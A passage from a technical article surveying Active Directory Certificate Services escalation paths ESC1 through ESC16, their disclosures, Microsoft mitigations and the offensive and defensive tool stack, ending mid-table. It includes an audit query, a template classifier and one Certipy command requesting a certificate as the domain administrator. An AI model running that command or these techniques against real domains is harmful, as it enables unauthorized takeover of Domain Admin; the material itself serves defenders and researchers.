&lt;li&gt;&lt;strong&gt;ESC1 through ESC8&lt;/strong&gt; -- &lt;em&gt;escalation&lt;/em&gt; paths from a low-privilege foothold to Domain Admin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DPERSIST&lt;/strong&gt; -- &lt;em&gt;domain persistence&lt;/em&gt; via forged certificates after CA private-key compromise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;THEFT&lt;/strong&gt; -- &lt;em&gt;certificate and credential theft&lt;/em&gt; primitives, including the UnPAC-the-Hash technique&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DETECT&lt;/strong&gt; -- &lt;em&gt;defensive detection&lt;/em&gt; primitives the team mapped to each abuse&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The contribution was not the &lt;em&gt;discovery&lt;/em&gt; of new individual primitives. Most of the individual misconfigurations had appeared in Microsoft&apos;s hardening guidance or in scattered community posts well before the paper. ENROLLEE_SUPPLIES_SUBJECT had been a documented warning for a decade. NTLM relay to IIS had been a known attack class since at least 2008. The &lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt; flag was a documented option in &lt;code&gt;certutil&lt;/code&gt; since Windows Server 2008 R2. What the paper contributed was the &lt;em&gt;unified catalog&lt;/em&gt; -- numbered identifiers, reproducible exploitation, a tool that enumerated each path, and a single document tying every abuse to its primitive and its mitigation.&lt;/p&gt;

While AD CS is not installed by default for Active Directory environments, from our experience in enterprise environments it is widely deployed, and the security ramifications of misconfigured certificate service instances are enormous. -- Will Schroeder and Lee Christensen, *Certified Pre-Owned* (June 2021) [@cpo-blog]
&lt;p&gt;Microsoft&apos;s response was uncharacteristically fast. KB5005413 published in late July 2021 -- roughly six weeks after the blog -- recommending Extended Protection for Authentication and &quot;Require SSL&quot; on the AD CS Web Enrollment and Certificate Enrollment Web Service role services [@kb5005413]. The KB closes ESC8 over HTTPS when EPA is enabled. It does not close ESC1 through ESC7, and it does not close ESC11 (which had not yet been named).&lt;/p&gt;
&lt;p&gt;The &quot;ESC&quot; prefix is an acronym for &lt;em&gt;escalation&lt;/em&gt;. The catalog uses three sibling prefixes from the same paper: &lt;code&gt;DPERSIST&lt;/code&gt; for &lt;em&gt;domain persistence&lt;/em&gt;, &lt;code&gt;THEFT&lt;/code&gt; for credential and certificate theft, and &lt;code&gt;DETECT&lt;/code&gt; for defensive detection identifiers. ESC numbering is consecutive but not contiguous in time -- ESC12 (a hardware substrate attack) was disclosed by Knobloch in October 2023 [@knobloch-esc12] [@knobloch-esc12-archive], four months before Knudsen disclosed ESC13 and ESC14 from SpecterOps. The numbering tracks the order of community disclosure, not a planned roadmap.&lt;/p&gt;
&lt;p&gt;Here is the observation that this article will load-bear: the breakthrough was &lt;em&gt;naming&lt;/em&gt;, not discovery. Until SpecterOps named the eight configurations, every one of them had been documented somewhere in Microsoft Learn or in a community blog. The hardening documentation had existed for years and had produced essentially no defensive prioritization in real enterprises. Microsoft Defender for Identity did not flag ESC1 templates. BloodHound did not graph ESC4-shaped DACLs. SIEMs did not ingest CA Event ID 4886. No commercial scanner shipped a rule for the Enrollee-Supplies-Subject bit. The reason was not that the information was inaccessible. The reason was that the &lt;em&gt;configurations had no names&lt;/em&gt; -- and an enterprise security program cannot prioritize against an unnamed configuration.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Naming is itself a defensive primitive. The 2021 SpecterOps catalog converted twenty-one years of unnamed admin-tunable knobs into a numbered backlog that scanners could enumerate, BloodHound could path-find, MSRC could patch, and operators could prioritize. Every subsequent mitigation generation -- KB5005413, CVE-2022-26923, KB5014754, CVE-2024-49019, BloodHound CE ADCS edges, Locksmith, Microsoft Defender for Identity&apos;s posture assessments -- builds on the catalog rather than on the underlying hardening documentation. The catalog is the security primitive; the patches are downstream of the catalog.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Eight ESCs in 2021. Within fifteen months, two researchers extended the catalog past the original boundary: Oliver Lyak at the Institute For Cyber Risk added ESC9 and ESC10 in August 2022 [@lyak-certipy-4-archive]; Sylvain Heiniger at Compass Security added ESC11 in November 2022 [@compass-esc11]. Hans-Joachim Knobloch added ESC12 in October 2023 [@knobloch-esc12]. SpecterOps&apos;s Jonas Bülow Knudsen added ESC13 in February 2024 [@knudsen-esc13] and ESC14 two weeks later [@knudsen-esc14]. Justin Bollinger at TrustedSec added ESC15 in October 2024 [@bollinger-ekuwu]. Lyak named ESC16 in 2025 against a workaround Schroeder himself had documented in 2022 [@specterops-esc16-docs]. Sixteen ESCs by the time you read this. Here is what each one does.&lt;/p&gt;
&lt;h2&gt;5. The Catalog: ESC-1 through ESC-16&lt;/h2&gt;
&lt;p&gt;Of the sixteen named ESCs, the original eight name the surface; ESC9 through ESC16 name the residual after every Microsoft mitigation shipped to date. We walk them in primitive-grouped order, following the same taxonomy the SpecterOps Certify documentation uses: template misconfigurations, access-control vulnerabilities, CA configuration issues, certificate mapping issues, and one hardware-substrate sidebar [@specterops-certify-docs-index].&lt;/p&gt;
&lt;h3&gt;Template misconfigurations: ESC1, ESC2, ESC3&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ESC1 -- Misconfigured Certificate Template.&lt;/strong&gt; A V2 template that lets a low-privilege principal enroll, has Client Authentication in its Extended Key Usage list, has &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; set, and does &lt;em&gt;not&lt;/em&gt; require Manager Approval. The attacker requests a certificate naming the target principal in the Subject Alternative Name; the CA issues; the certificate maps via UPN to the target; PKINIT produces a TGT as the target. One operator chain: &lt;code&gt;certipy req -u user -p pass -ca CA -template VulnTemplate -upn administrator@domain.local&lt;/code&gt;. First disclosed by SpecterOps in June 2021 [@cpo-blog]. BloodHound CE edge: &lt;code&gt;ADCSESC1&lt;/code&gt; [@bh-esc1-edge].&lt;/p&gt;

The `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bit in `msPKI-Certificate-Name-Flag`. When set, the requester is allowed to supply the Subject or Subject Alternative Name in the CSR rather than having the CA build the Subject from the requester&apos;s own AD attributes. This is the load-bearing primitive of ESC1.

```powershell
Get-ADObject -SearchBase &quot;CN=Certificate Templates,CN=Public Key Services,CN=Services,$((Get-ADRootDSE).configurationNamingContext)&quot; -Filter * -Properties msPKI-Certificate-Name-Flag, pKIExtendedKeyUsage, msPKI-Enrollment-Flag |
  Where-Object {
    ($_.&apos;msPKI-Certificate-Name-Flag&apos; -band 0x1) -ne 0 -and
    ($_.&apos;msPKI-Enrollment-Flag&apos; -band 0x2) -eq 0 -and
    ($_.pKIExtendedKeyUsage -contains &apos;1.3.6.1.5.5.7.3.2&apos;)
  } | Select-Object Name
```
The query lists templates with ESS set, no manager approval, and Client Authentication EKU. Locksmith, PSPKIAudit, and Certipy all run a logically equivalent check; this is the smallest reproducible form for an audit script that does not depend on a vendor tool.
&lt;p&gt;&lt;strong&gt;ESC2 -- Any-Purpose or Subordinate CA EKU.&lt;/strong&gt; A template that grants the Any-Purpose EKU (&lt;code&gt;2.5.29.37.0&lt;/code&gt;) or the Subordinate CA EKU permits the certificate to be used for arbitrary purposes, including subordinate CA work. The attacker enrolls and then forges new certificates against the issued certificate&apos;s keypair. First disclosed by SpecterOps, June 2021 [@cpo-blog]. No BloodHound CE edge; the abuse pattern lives in Certify and Certipy [@certipy-wiki-priv].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC3 -- Enrollment Agent Template.&lt;/strong&gt; A template with the &lt;em&gt;Certificate Request Agent&lt;/em&gt; EKU lets the holder enroll certificates &lt;em&gt;on behalf of other users&lt;/em&gt;. Combined with a second template flagged &quot;Enrollment Agent&quot; the attacker can request a certificate naming any principal. The chain is two requests rather than one. SpecterOps, June 2021 [@cpo-blog]. BloodHound CE edge: &lt;code&gt;ADCSESC3&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Access-control vulnerabilities: ESC4, ESC5, ESC7&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ESC4 -- Vulnerable Certificate Template ACL.&lt;/strong&gt; Any principal with &lt;code&gt;GenericAll&lt;/code&gt;, &lt;code&gt;GenericWrite&lt;/code&gt;, &lt;code&gt;WriteOwner&lt;/code&gt;, or &lt;code&gt;WriteDacl&lt;/code&gt; on a template can modify the template into an ESC1-shaped configuration and then enroll. This converts a write right on a template object into Domain Admin. SpecterOps, June 2021 [@cpo-blog]. BloodHound CE edge: &lt;code&gt;ADCSESC4&lt;/code&gt;.The ADCSESC4 edge composes with BloodHound&apos;s general DACL graph, so a &lt;code&gt;Domain Users&lt;/code&gt; principal that holds &lt;code&gt;WriteDacl&lt;/code&gt; on a sensitive template inherits the path automatically without a hand-written query. The edge composes naturally with the rest of BloodHound&apos;s principal-DACL graph -- a &lt;code&gt;Domain Users&lt;/code&gt; principal with &lt;code&gt;WriteDacl&lt;/code&gt; on the template inherits the path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC5 -- Vulnerable PKI Object ACL.&lt;/strong&gt; The same class of write rights on the CA computer object, the &lt;code&gt;NTAuthCertificates&lt;/code&gt; container, or the AIA container. Compromising any of these gates the entire AD CS substrate. SpecterOps, June 2021 [@cpo-blog]. No BloodHound CE edge today; the surface is wide and the operator chain depends on the specific object compromised.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC7 -- Vulnerable CA ACL.&lt;/strong&gt; A principal with the &lt;em&gt;Manage CA&lt;/em&gt; right on the Enterprise CA can edit its registry-controlled configuration (including the &lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt; flag, which converts the CA into a global ESC6 condition). A principal with &lt;em&gt;Issue and Manage Certificates&lt;/em&gt; can approve their own otherwise-blocked certificate requests. SpecterOps, June 2021 [@cpo-blog]. No BloodHound CE edge; the abuse is a CA-side write rather than an AD principal-graph relationship.&lt;/p&gt;
&lt;h3&gt;CA configuration issues: ESC6, ESC8, ESC11&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ESC6 -- &lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt; on the CA.&lt;/strong&gt; When this CA-wide flag is set, &lt;em&gt;every&lt;/em&gt; certificate request can specify an arbitrary Subject Alternative Name regardless of the template&apos;s Name-Flag bits. The CA becomes globally ESC1-shaped against any template the attacker can enroll into. SpecterOps, June 2021 [@cpo-blog]. BloodHound CE edges: &lt;code&gt;ADCSESC6a&lt;/code&gt; and &lt;code&gt;ADCSESC6b&lt;/code&gt; (the latter for cases where the CA also disables the SID extension).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC8 -- NTLM Relay to AD CS HTTP Web Enrollment.&lt;/strong&gt; The AD CS Web Enrollment role service ships with NTLM authentication enabled and, by default, no Extended Protection for Authentication. An attacker who can coerce a target computer to authenticate (PetitPotam, PrinterBug, DFSCoerce) can relay that authentication to the CA&apos;s &lt;code&gt;/certsrv/&lt;/code&gt; endpoint, request a certificate naming the relayed principal, and walk away with a certificate impersonating the coerced computer -- including Domain Controllers. SpecterOps, June 2021 [@cpo-blog]. BloodHound CE graphs this as the &lt;code&gt;CoerceAndRelayNTLMToADCS&lt;/code&gt; edge [@bh-coerce-adcs-edge]: a Group-to-Computer edge whose source is &lt;code&gt;Authenticated Users&lt;/code&gt; and whose destination is the coerced target computer, with the edge&apos;s evaluation conditioned on at least one ESC8-vulnerable Web Enrollment endpoint being reachable on the network.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; ESC8 needs no template misconfiguration. It needs a CA with HTTP Web Enrollment role service installed -- common in environments that ever provisioned smart cards or did web-based renewal -- and at least one computer account the attacker can coerce. Microsoft mitigated it with KB5005413 in July 2021 [@kb5005413], but the mitigation is configuration guidance (EPA on, &quot;Require SSL&quot; on, Web Enrollment disabled if unused), not a binary patch. Environments that never enabled EPA on /certsrv/ remain exploitable today. The &quot;Domain Users to Domain Admin in eight minutes&quot; demos that pepper conference talks are usually ESC8 demos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;ESC11 -- NTLM Relay to ICPR/RPC.&lt;/strong&gt; The ICertPassage RPC interface (the default enrollment transport on every Enterprise CA) enforces packet privacy when the &lt;code&gt;IF_ENFORCEENCRYPTICERTREQUEST&lt;/code&gt; flag is set; that flag has been on by default since Windows Server 2012. However, because the flag breaks certificate enrollment for legacy Windows XP clients, Compass Security observed real-world environments where administrators had explicitly &lt;em&gt;removed&lt;/em&gt; the flag for compatibility, leaving the RPC enrollment surface unencrypted. When packet privacy is not enforced, an attacker can relay a coerced NTLM authentication into the CA&apos;s RPC interface and obtain a certificate impersonating the coerced principal. Disclosed by Sylvain Heiniger at Compass Security, November 2022 [@compass-esc11]. The SpecterOps Certify documentation describes the misconfiguration as &quot;an insufficiently protected certificate authority RPC interface&quot; [@specterops-esc11-docs]. No BloodHound CE edge; the RPC transport is below the principal-graph model.&lt;/p&gt;
&lt;h3&gt;Certificate mapping issues: ESC9, ESC10, ESC13, ESC14, ESC15, ESC16&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ESC9 -- No Security Extension.&lt;/strong&gt; A template flagged &lt;code&gt;CT_FLAG_NO_SECURITY_EXTENSION&lt;/code&gt; instructs the CA to issue certificates &lt;em&gt;without&lt;/em&gt; the &lt;code&gt;szOID_NTDS_CA_SECURITY_EXT&lt;/code&gt; SID embedding. KB5014754&apos;s strong-mapping enforcement then falls back to weak UPN mapping, and the attacker can rename a controlled user account to match a privileged user&apos;s UPN, enroll, and authenticate as that privileged user. Disclosed by Oliver Lyak at IFCR on August 4, 2022, twelve weeks after KB5014754 [@lyak-certipy-4-archive]. BloodHound CE edges: &lt;code&gt;ADCSESC9a&lt;/code&gt; and &lt;code&gt;ADCSESC9b&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC10 -- Weak Certificate Mapping.&lt;/strong&gt; The registry values &lt;code&gt;StrongCertificateBindingEnforcement&lt;/code&gt; (on KDCs) and &lt;code&gt;CertificateMappingMethods&lt;/code&gt; (on Schannel servers) control whether weak mappings are accepted. In Compatibility mode (the KB5014754 staged-rollout default through February 11, 2025), weak mappings still pass. An attacker who can write &lt;code&gt;altSecurityIdentities&lt;/code&gt; on a target, or who can engineer a weak UPN match, authenticates as the target. Same disclosure: Lyak, August 4, 2022 [@lyak-certipy-4-archive]. BloodHound CE edges: &lt;code&gt;ADCSESC10a&lt;/code&gt; and &lt;code&gt;ADCSESC10b&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC13 -- Issuance Policy linked to AD Group via msDS-OIDToGroupLink.&lt;/strong&gt; Active Directory issuance-policy OIDs can be linked to a security group via the &lt;code&gt;msDS-OIDToGroupLink&lt;/code&gt; attribute. When a certificate carries that issuance-policy OID, the issued PAC includes the linked group. A template configured with such an issuance policy effectively grants its enrollees membership in the linked group at authentication time. Disclosed by Jonas Bülow Knudsen at SpecterOps on February 14, 2024; discovery credit goes to Adam Burford, who brought the technique to Knudsen and Stephen Hinck [@knudsen-esc13]. BloodHound CE edge: &lt;code&gt;ADCSESC13&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC14 -- Explicit altSecurityIdentities Write.&lt;/strong&gt; A principal with write access to a privileged user&apos;s &lt;code&gt;altSecurityIdentities&lt;/code&gt; attribute can add their own certificate&apos;s X.509 expression to that attribute, then authenticate as the privileged user. The prior art goes back to Géraud de Drouas in 2019 [@dedrouas-altsec] and Jean Marsault at Wavestone in June 2021 [@marsault-wavestone]; Knudsen catalogued it as ESC14 in February 2024 [@knudsen-esc14]. No BloodHound CE edge today; the abuse traces through a write right on a single AD attribute and is in scope for future BloodHound coverage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC15 -- V1 Template Application Policies Override (EKUwu).&lt;/strong&gt; The pre-installed V1 &lt;code&gt;WebServer&lt;/code&gt; template -- which ships on every CA, cannot be deleted, and is enrollable by &lt;code&gt;Authenticated Users&lt;/code&gt; by default -- accepts &lt;code&gt;Application Policies&lt;/code&gt; extensions in the request. Application Policies, a Microsoft extension parallel to standard EKU, are honored by the KDC. An attacker submits a CSR adding the Client Authentication Application Policy to a WebServer certificate, gets it signed, and authenticates as the requester. Disclosed by Justin Bollinger at TrustedSec on October 8, 2024 [@bollinger-ekuwu]. Microsoft assigned CVE-2024-49019 and patched it on November 12, 2024 [@cve-2024-49019-msrc]. No BloodHound CE edge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ESC16 -- CA-wide SID Extension Disabled.&lt;/strong&gt; The CA&apos;s &lt;code&gt;DisableExtensionList&lt;/code&gt; registry value can list OIDs the CA will &lt;em&gt;omit&lt;/em&gt; from issued certificates. If &lt;code&gt;szOID_NTDS_CA_SECURITY_EXT&lt;/code&gt; (1.3.6.1.4.1.311.25.2) is on that list, the CA stops embedding the SID extension globally, and the strong-mapping enforcement of KB5014754 collapses into weak mapping for every certificate the CA issues. The SpecterOps Certify documentation records the punchline: &quot;The configuration was first described in 2022 by Will Schroeder in this blogpost as a temporary workaround for the interaction between ESC7 and ESC6, but was later tagged ESC16 by Oliver Lyak&quot; [@specterops-esc16-docs]. No BloodHound CE edge.&lt;/p&gt;

ESC12 lives in a different primitive category from every other ESC: it attacks the CA&apos;s HSM, not its software configuration. Hans-Joachim Knobloch&apos;s October 2023 disclosure (earliest Wayback snapshot dated October 24, 2023) observes that the YubiHSM2 Key Storage Provider on AD CS stores the HSM authentication key in cleartext under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` [@knobloch-esc12] [@knobloch-esc12-archive]. A non-administrative user with shell access to the CA and read on that registry key can recover the HSM password and forge certificates against the HSM-backed CA key. Out of body scope for this article; readers running YubiHSM-backed CAs should read Knobloch&apos;s primary source.
&lt;p&gt;By the time you reach ESC10 here, a pattern is visible without anyone naming it: every Microsoft mitigation in this class is followed by a new ESC that side-steps it. KB5005413 closes ESC8 over HTTPS; ESC11 routes around it via RPC. KB5014754 closes ESC9 and ESC10 under Full Enforcement; ESC16 disables the underlying SID extension. CVE-2024-49019 closes ESC15 on V1 templates; the V1 templates themselves remain on every CA. The catalog grows faster than the patches.&lt;/p&gt;
&lt;p&gt;Of the sixteen entries above, BloodHound CE ships eleven principal-graph edges covering eight distinct ESCs: &lt;code&gt;ADCSESC1&lt;/code&gt;, &lt;code&gt;ADCSESC3&lt;/code&gt;, &lt;code&gt;ADCSESC4&lt;/code&gt;, &lt;code&gt;ADCSESC6a/b&lt;/code&gt;, &lt;code&gt;ADCSESC9a/b&lt;/code&gt;, &lt;code&gt;ADCSESC10a/b&lt;/code&gt;, &lt;code&gt;ADCSESC13&lt;/code&gt;, plus the &lt;code&gt;CoerceAndRelayNTLMToADCS&lt;/code&gt; edge that graphs ESC8 [@bh-llms]. The remaining eight ESCs (ESC2, ESC5, ESC7, ESC11, ESC12, ESC14, ESC15, ESC16) are out of edge coverage today -- some because their primitive lives below the principal graph (ESC11&apos;s RPC transport), some because their abuse is a CA-side write rather than a domain principal relationship (ESC7, ESC5), and some because they are too new to have been edge-modeled (ESC14, ESC15, ESC16). The gap is structural and operationally significant; section eight explores why.&lt;/p&gt;

flowchart TD
    subgraph TEMPLATE[Template]
        E1[ESC1 ESS+ClientAuth+LowPriv&lt;br /&gt;SpecterOps 2021]
        E2[ESC2 AnyPurpose/SubCA&lt;br /&gt;SpecterOps 2021]
        E3[ESC3 Enrollment Agent&lt;br /&gt;SpecterOps 2021]
        E15[ESC15 V1 AppPolicy&lt;br /&gt;TrustedSec 2024]
    end
    subgraph ACL[Access Control]
        E4[ESC4 Template DACL&lt;br /&gt;SpecterOps 2021]
        E5[ESC5 PKI Object DACL&lt;br /&gt;SpecterOps 2021]
        E7[ESC7 CA DACL&lt;br /&gt;SpecterOps 2021]
    end
    subgraph CA[CA Configuration]
        E6[ESC6 EDITF SAN2&lt;br /&gt;SpecterOps 2021]
        E16[ESC16 Disable SID Ext&lt;br /&gt;tagged Lyak 2025]
    end
    subgraph TRANSPORT[Transport]
        E8[ESC8 Relay to HTTP&lt;br /&gt;SpecterOps 2021]
        E11[ESC11 Relay to RPC&lt;br /&gt;Compass 2022]
    end
    subgraph MAP[Mapping]
        E9[ESC9 No SID Ext&lt;br /&gt;IFCR 2022]
        E10[ESC10 Weak Mapping&lt;br /&gt;IFCR 2022]
        E13[ESC13 OIDToGroupLink&lt;br /&gt;SpecterOps 2024]
        E14[ESC14 altSecurityIdentities&lt;br /&gt;SpecterOps 2024]
    end
    subgraph HW[Hardware]
        E12[ESC12 YubiHSM Substrate&lt;br /&gt;Knobloch 2023]
    end
&lt;p&gt;The static rules that Certipy, Certify, Locksmith, and PSPKIAudit all run to decide whether a template is ESC1-shaped are simpler than the catalog above might suggest. Three boolean inputs, three conjunctive conditions, one output label.&lt;/p&gt;
&lt;p&gt;{`
function classifyTemplate(t) {
  const ess = t.flags.includes(&apos;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&apos;);
  const clientAuth = t.eku.includes(&apos;1.3.6.1.5.5.7.3.2&apos;);
  const lowPriv = t.enroll.some(p =&amp;gt; [&apos;Authenticated Users&apos;, &apos;Domain Users&apos;].includes(p));
  const noApproval = !t.flags.includes(&apos;CT_FLAG_PEND_ALL_REQUESTS&apos;);
  if (ess &amp;amp;&amp;amp; clientAuth &amp;amp;&amp;amp; lowPriv &amp;amp;&amp;amp; noApproval) return &apos;ESC1&apos;;
  return &apos;safe-for-now&apos;;
}&lt;/p&gt;
&lt;p&gt;const wifi = {
  flags: [&apos;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&apos;],
  eku:   [&apos;1.3.6.1.5.5.7.3.2&apos;],
  enroll:[&apos;Authenticated Users&apos;]
};
console.log(classifyTemplate(wifi));
`}&lt;/p&gt;
&lt;h2&gt;6. The 2026 Toolchain&lt;/h2&gt;
&lt;p&gt;Sixteen ESCs is too many for one tool. The 2026 state of the art is a stack: defenders run Locksmith, PSPKIAudit, BloodHound CE, and Microsoft Defender for Identity in parallel; offense runs Certipy and Certify. No single tool covers every ESC, prioritizes its findings, &lt;em&gt;and&lt;/em&gt; produces forensic primitives for response. Coverage gaps are structural, not accidental.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Certify&lt;/strong&gt; is the original offense-side tool from the SpecterOps team that wrote &lt;em&gt;Certified Pre-Owned&lt;/em&gt;. A C# Windows binary that enumerates and abuses AD CS misconfigurations using the operator&apos;s in-process credentials [@certify-gh]. Released at Black Hat 2021, built against .NET 4.7.2. Certify covers the ESC1 through ESC16 enumeration surface via its documentation pages [@specterops-certify-docs-index]; abuse implementations exist for the catalog&apos;s most operator-friendly entries, with ESC11 documented as enumeration-only at the most recent docs revision [@specterops-esc11-docs].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Certipy&lt;/strong&gt; is the Linux-side sibling, written in Python by Oliver Lyak at IFCR (now an independent project) [@certipy-gh]. The README carries the strongest coverage claim in the tool community: &quot;full support for identifying and exploiting all known ESC1-ESC16 attack paths.&quot; Certipy ships its own NTLM relay (&lt;code&gt;certipy relay&lt;/code&gt;), embedded BloodHound output, certificate forging, and PKINIT-to-TGT exchange. The Certipy wiki&apos;s privilege-escalation page is the best walking reference for the entire catalog [@certipy-wiki-priv].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BloodHound Community Edition&lt;/strong&gt; is the only tool in the stack that integrates AD CS findings into the broader Active Directory attack graph. SharpHound CE collects AD CS objects -- CAs, templates, NTAuth membership, per-template DACLs -- and the BloodHound server computes ten &lt;code&gt;ADCSESC*N*&lt;/code&gt; edges (ESC1, ESC3, ESC4, ESC6a/b, ESC9a/b, ESC10a/b, ESC13) plus the &lt;code&gt;CoerceAndRelayNTLMToADCS&lt;/code&gt; edge that graphs ESC8 via coercion [@bh-llms]. BloodHound CE 7.x added Privilege Zones, which let defenders tag NTAuth CAs and their templates as Tier-Zero objects and surface paths to them in the analysis UI.&lt;/p&gt;

The principal-graph model treats each AD object as a node and each access right or trust as an edge. The graph then path-finds from a starting principal to a Tier-Zero target. This model works elegantly for template DACLs (ESC4) and CA DACLs (ESC7) and for issuance-policy group linkage (ESC13). It struggles with attacks where the abuse is a transport-level interaction rather than a principal-to-principal relationship.&lt;p&gt;ESC8 used to be considered uncatchable in this model. The &lt;code&gt;CoerceAndRelayNTLMToADCS&lt;/code&gt; edge solved that: BloodHound CE now models the SMB-coercion-plus-NTLM-relay-to-ESC8 chain as a Group-to-Computer edge whose source is &lt;code&gt;Authenticated Users&lt;/code&gt; and whose destination is the coerced target computer; the relay target CA and the template are encoded in the edge&apos;s metadata, not as graph nodes [@bh-coerce-adcs-edge]. The edge exists because coercion has a stable shape -- an unauthenticated principal class, a target computer, and an ESC8-vulnerable CA endpoint reachable on the network -- that the graph can express.&lt;/p&gt;
&lt;p&gt;ESC11 remains harder. The RPC enrollment transport does not have a stable coercion model (the trigger is &lt;code&gt;ICertPassage&lt;/code&gt; packet privacy not being enforced, not a coercion gadget like &lt;code&gt;MS-EFSR&lt;/code&gt;), and the BloodHound graph today does not ship an &lt;code&gt;ADCSESC11&lt;/code&gt; edge. The model limit is partial, not total. The conventional &quot;BloodHound cannot graph transport attacks&quot; framing -- which was the prevailing folklore through 2024 -- is wrong; ESC8 is in the graph. ESC11 is the open structural case.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Locksmith&lt;/strong&gt; is a PowerShell defender tool by Jake Hildreth (with Spencer Alessi) [@locksmith-gh]. It runs locally on a domain-joined host and reports template, CA, and NTAuth-container findings against the catalog. Modes 0 through 4: identify-and-report, auto-remediate where safe, produce a CSV, and so on. The lowest-friction defender tool in the stack -- a single &lt;code&gt;Invoke-Locksmith&lt;/code&gt; cmdlet returns a triage list against the published ESC range.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PSPKIAudit&lt;/strong&gt; is the SpecterOps team&apos;s own defender baseline, built on top of PKI Solutions&apos; PSPKI module [@pspkiaudit-gh]. Its &lt;code&gt;Invoke-PKIAudit&lt;/code&gt; and &lt;code&gt;Get-CertRequest&lt;/code&gt; cmdlets cover ESC1 through ESC8 plus the &quot;Explicit Mappings&quot; surface for ESC14. The README is marked beta; PSPKIAudit predates Locksmith and ships fewer remediation primitives, but it is the canonical reference for what the original SpecterOps team thinks the defensive audit should do.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Defender for Identity&lt;/strong&gt; ships the ADCS posture assessment suite when the MDI sensor is installed on the CA itself [@mdi-certs]. The current product surface assesses nine ESCs by name: ESC1 (Preview), ESC2, ESC3, ESC4 (split across two separate assessments -- template owner and template ACL), ESC6 (Preview), ESC7, ESC8, ESC11, and ESC15. The product page is explicit: &quot;This assessment is available only to customers who have installed a sensor on an AD CS server.&quot; MDI&apos;s coverage is &lt;em&gt;broad and operationally integrated&lt;/em&gt; -- the same SOC console that surfaces Pass-the-Hash detections now surfaces the largest named-ESC posture-assessment suite of any non-Certipy tool in the stack, with the ESC1 and ESC6 assessments shipped in Preview state.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The KB5014754 strong-mapping track&lt;/strong&gt; is Microsoft&apos;s runtime mitigation rather than a tool, but operationally it belongs in the stack discussion because it is the largest single thing Microsoft has shipped for this class [@kb5014754]. Strong mapping closes ESC9 and ESC10 (plus Certifried CVE-2022-26923) under Full Enforcement, defaults to Compatibility through February 11, 2025, and removes the legacy-mapping registry override on September 9, 2025. Operationally this is a deployment decision more than a &quot;tool to run&quot;, but every defender stack has to plan for it; the Microsoft Tech Community Intune blog is the cross-reference for environments using SCEP or PKCS [@ms-tc-intune].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Hacker Recipes AD CS chapter&lt;/strong&gt; is a community reference catalog rather than a runnable tool; it serves as the canonical operator-facing summary of every ESC and is worth bookmarking. (Network reachability of the canonical URL has been inconsistent in late 2025 / 2026.)&lt;/p&gt;
&lt;p&gt;Here is a single-table comparison of the practical stack. The right answer for a real enterprise is roughly &quot;all of them in parallel&quot;; the table makes the coverage gaps explicit.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool / track&lt;/th&gt;
&lt;th&gt;Language&lt;/th&gt;
&lt;th&gt;ESC enumeration coverage&lt;/th&gt;
&lt;th&gt;Abuse capable&lt;/th&gt;
&lt;th&gt;Graph capable&lt;/th&gt;
&lt;th&gt;Best deployed for&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Certify&lt;/td&gt;
&lt;td&gt;C# (Windows)&lt;/td&gt;
&lt;td&gt;ESC1 to ESC16 (per docs)&lt;/td&gt;
&lt;td&gt;Yes (most)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Operator chains, Windows offense&lt;/td&gt;
&lt;td&gt;[@certify-gh]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certipy&lt;/td&gt;
&lt;td&gt;Python (Linux)&lt;/td&gt;
&lt;td&gt;ESC1 to ESC16 (README claim)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Embedded&lt;/td&gt;
&lt;td&gt;Operator chains, Linux offense&lt;/td&gt;
&lt;td&gt;[@certipy-gh]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BloodHound CE ADCS edges&lt;/td&gt;
